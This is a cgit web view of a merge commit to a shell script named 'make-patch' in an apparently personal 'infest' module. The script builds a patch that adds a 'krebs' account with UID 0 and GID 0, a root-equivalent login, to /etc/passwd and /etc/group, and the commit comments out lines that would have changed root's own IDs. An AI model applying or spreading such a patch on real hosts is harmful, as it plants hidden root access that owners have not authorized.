summaryrefslogtreecommitdiffstats
path: root/modules
diff options
context:
space:
mode:
authortv <tv@also>2011-05-28 15:33:14 +0200
committertv <tv@also>2011-05-28 15:33:14 +0200
commit20603cdbf62812f1df460a245aa19598adde8f69 (patch)
tree8e3c276c232a9f86f5a99c43377542f99af87853 /modules
parent74ce93d9fd57eea755bcf56d84edc9d19099d7a7 (diff)
parent03f8c7e0e3a535ea8cfee5f88f646bdc1c456ef5 (diff)
Merge branch 'master' of github.com:krebscode/painload
Diffstat (limited to 'modules')
-rwxr-xr-xmodules/infest/bin/make-patch4
1 files changed, 2 insertions, 2 deletions
diff --git a/modules/infest/bin/make-patch b/modules/infest/bin/make-patch
index 5c5253e2..6f26e745 100755
--- a/modules/infest/bin/make-patch
+++ b/modules/infest/bin/make-patch
@@ -6,7 +6,7 @@ trap "test -e $t && rm $t; test -e $p && rm $p" EXIT INT
f=/etc/passwd
cat $f >$t
-sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $t
+#sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $t
sed -ri '/^krebs/d' $t
echo "krebs:x:0:0::$HOME:/bin/bash" >>$t
diff -Naur $f $t >>$p
@@ -19,7 +19,7 @@ diff -Naur $f $t >>$p
f=/etc/group
cat $f >$t
-sed -ri 's^(root:[^:]+):0:(.*)$\1:23:\2' $ft
+#sed -ri 's^(root:[^:]+):0:(.*)$\1:23:\2' $t
sed -ri '/^krebs/d' $t
echo 'krebs:x:0:' >>$t
diff -Naur $f $t >>$p